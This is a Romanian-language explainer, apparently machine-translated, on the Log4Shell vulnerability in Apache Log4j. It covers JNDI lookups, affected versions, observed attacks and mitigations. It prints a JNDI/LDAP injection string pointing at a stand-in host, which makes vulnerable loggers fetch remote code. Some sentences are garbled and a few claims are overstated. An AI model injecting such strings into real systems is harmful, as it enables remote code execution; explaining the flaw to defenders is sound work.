Cuprins[Ascunde][Spectacol]
La sfârșitul lunii noiembrie 2021, am descoperit o amenințare majoră la adresa securității cibernetice. Acest exploit ar putea afecta milioane de sisteme informatice din întreaga lume.
Acesta este un ghid despre vulnerabilitatea Log4j și despre modul în care un defect de design trecut cu vederea a lăsat deschise atacurilor peste 90% din serviciile informatice din lume.
Apache Log4j este un utilitar de înregistrare open-source bazat pe Java, dezvoltat de Apache Software Foundation. Scrisă inițial de Ceki Gülcü în 2001, acum face parte din Apache Logging Services, un proiect al Apache Software Foundation.
Companiile din întreaga lume folosesc biblioteca Log4j pentru a activa înregistrarea în aplicațiile lor. De fapt, biblioteca Java este atât de omniprezentă, încât o puteți găsi în aplicații de la Amazon, Microsoft, Google și multe altele.
Proeminența bibliotecii înseamnă că orice potențial defect al codului ar putea lăsa milioane de computere deschise la hacking. La 24 noiembrie 2021, a securitate în cloud cercetător care lucrează pentru Alibaba a descoperit un defect teribil.
Vulnerabilitatea Log4j, cunoscută și sub numele de Log4Shell, a existat neobservată din 2013. Vulnerabilitatea a permis actorilor rău intenționați să execute cod pe sistemele afectate care rulează Log4j. A fost dezvăluit public pe 9 decembrie 2021
Experții din industrie numesc defectul Log4Shell cea mai mare vulnerabilitate din memoria recentă.
În săptămâna următoare publicării vulnerabilității, echipele de securitate cibernetică au detectat milioane de atacuri. Unii cercetători au observat chiar o rată de peste o sută de atacuri pe minut.
Cum functioneaza?
Pentru a înțelege de ce Log4Shell este atât de periculos, trebuie să înțelegem de ce este capabil.
Vulnerabilitatea Log4Shell permite executarea unui cod arbitrar, ceea ce înseamnă, practic, că un atacator poate rula orice comandă sau cod pe o mașină țintă.
Cum realizează acest lucru?
În primul rând, trebuie să înțelegem ce este JNDI.
Java Naming and Directory Interface (JNDI) este un serviciu Java care permite programelor Java să descopere și să caute date și resurse printr-un nume. Aceste servicii de directoare sunt importante deoarece oferă un set organizat de înregistrări pentru ca dezvoltatorii să le facă referire cu ușurință atunci când creează aplicații.
JNDI poate folosi diverse protocoale pentru a accesa un anumit director. Unul dintre aceste protocoale este Lightweight Directory Access Protocol sau LDAP.
Când înregistrați un șir, log4j efectuează substituții de șiruri atunci când întâlnesc expresii ale formei ${prefix:name}
.
De exemplu, Text: ${java:version}
ar putea fi înregistrat ca Text: Java versiunea 1.8.0_65. Aceste tipuri de substituții sunt obișnuite.
Putem avea și expresii precum Text: ${jndi:ldap://example.com/file}
care utilizează sistemul JNDI pentru a încărca un obiect Java dintr-un URL prin protocolul LDAP.
Acest lucru încarcă efectiv datele care provin de la acea adresă URL în mașină. Orice potențial hacker poate găzdui cod rău intenționat pe o adresă URL publică și poate aștepta ca mașinile care folosesc Log4j să îl înregistreze.
Deoarece conținutul mesajelor de jurnal conține date controlate de utilizator, hackerii își pot introduce propriile referințe JNDI care indică serverele LDAP pe care le controlează. Aceste servere LDAP pot fi pline de obiecte Java rău intenționate pe care JNDI le poate executa prin vulnerabilitate.
Ceea ce face acest lucru mai rău este că nu contează dacă aplicația este o aplicație pe partea serverului sau pe partea clientului.
Atâta timp cât există o modalitate prin care loggerul să citească codul rău intenționat al atacatorului, aplicația este încă deschisă exploatărilor.
Cine este afectat?
Vulnerabilitatea afectează toate sistemele și serviciile care utilizează APache Log4j, cu versiunile 2.0 până la 2.14.1 inclusiv.
Mai mulți experți în securitate sugerează că vulnerabilitatea poate afecta o serie de aplicații care utilizează Java.
Defectul a fost descoperit pentru prima dată în jocul video Minecraft, deținut de Microsoft. Microsoft și-a îndemnat utilizatorii să își actualizeze software-ul Minecraft ediția Java pentru a preveni orice risc.
Jen Easterly, directorul Agenției pentru Securitate Cibernetică și Securitate a Infrastructurii (CISA) spune că vânzătorii au o responsabilitate majoră pentru a preveni utilizatorii finali de la actorii rău intenționați să exploateze această vulnerabilitate.
„Vânzătorii ar trebui, de asemenea, să comunice cu clienții lor pentru a se asigura că utilizatorii finali știu că produsul lor conține această vulnerabilitate și ar trebui să acorde prioritate actualizărilor de software.”
Se pare că atacurile au început deja. Symantec, o companie care furnizează software de securitate cibernetică, a observat un număr variat de solicitări de atac.
Iată câteva exemple de tipuri de atacuri pe care cercetătorii le-au detectat:
- botnet
Rețelele bot sunt o rețea de computere care se află sub controlul unei singure părți atacatoare. Acestea ajută la efectuarea de atacuri DDoS, la furtul de date și la alte escrocherii. Cercetătorii au observat rețeaua botnet Muhstik în scripturile shell descărcate din exploitul Log4j.
- Troian XMRig Miner
XMRig este un miner de criptomonede open-source care folosește procesoare pentru a extrage jetonul Monero. Criminalii cibernetici pot instala XMRig pe dispozitivele oamenilor, astfel încât să își poată folosi puterea de procesare fără știrea lor.
- Khonsari Ransomware
Ransomware se referă la o formă de malware concepută pentru criptați fișierele pe un computer. Atacatorii pot cere apoi plata în schimbul reda accesului la fișierele criptate. Cercetătorii au descoperit ransomware-ul Khonsari în atacurile Log4Shell. Acestea vizează serverele Windows și folosesc framework-ul .NET.
Ce se întâmplă în continuare?
Experții prevăd că ar putea dura luni sau poate chiar ani pentru a remedia pe deplin haosul creat de vulnerabilitatea Log4J.
Acest proces implică actualizarea fiecărui sistem afectat cu o versiune corectată. Chiar dacă toate aceste sisteme sunt corectate, există totuși amenințarea posibilă a unor posibile uși din spate pe care hackerii le-au adăugat deja la fereastra că serverele erau deschise pentru atac.
Multe soluții și atenuări există pentru a preveni exploatarea aplicațiilor de către acest bug. Noua versiune Log4j 2.15.0-rc1 a modificat diverse setări pentru a atenua această vulnerabilitate.
Toate caracteristicile care utilizează JNDI vor fi dezactivate implicit, iar căutările de la distanță au fost, de asemenea, restricționate. Dezactivarea funcției de căutare din configurația Log4j va ajuta la scăderea riscului de posibile exploatări.
În afara Log4j, mai este nevoie de un plan mai larg pentru a preveni exploatările open-source.
La începutul lunii mai, Casa Albă a lansat un ordin executiv care urmărea îmbunătățirea securității cibernetice naționale. Acesta includea o prevedere pentru o listă de materiale software (SBOM), care era în esență un document formal care conținea o listă cu fiecare articol necesar pentru a construi aplicația.
Aceasta include piese precum open-source pachete, dependențe și API-uri utilizate pentru dezvoltare. Deși ideea de SBOM este utilă pentru transparență, va ajuta cu adevărat consumatorul?
Actualizarea dependențelor poate fi prea o problemă. Companiile pot alege doar să plătească orice amenzi, în loc să riscă să piardă timp suplimentar în găsirea unor pachete alternative. Poate că aceste SBOM-uri vor fi utile numai dacă au domeniu este limitată în continuare.
Concluzie
Problema Log4j este mai mult decât o problemă tehnică pentru organizații.
Liderii de afaceri trebuie să fie conștienți de potențialele riscuri care ar putea apărea atunci când serverele, produsele sau serviciile lor se bazează pe cod pe care ei înșiși nu îl mențin.
Bazarea pe aplicații open-source și terță parte implică întotdeauna un anumit risc. Companiile ar trebui să ia în considerare elaborarea strategiilor de atenuare a riscurilor înainte de a ieși la lumină noile amenințări.
O mare parte din web se bazează pe software open-source întreținut de mii de voluntari din întreaga lume.
Dacă dorim să păstrăm internetul un loc sigur, guvernele și corporațiile ar trebui să investească în finanțarea eforturilor open source și a agențiilor de securitate cibernetică, cum ar fi CISA.
Lasă un comentariu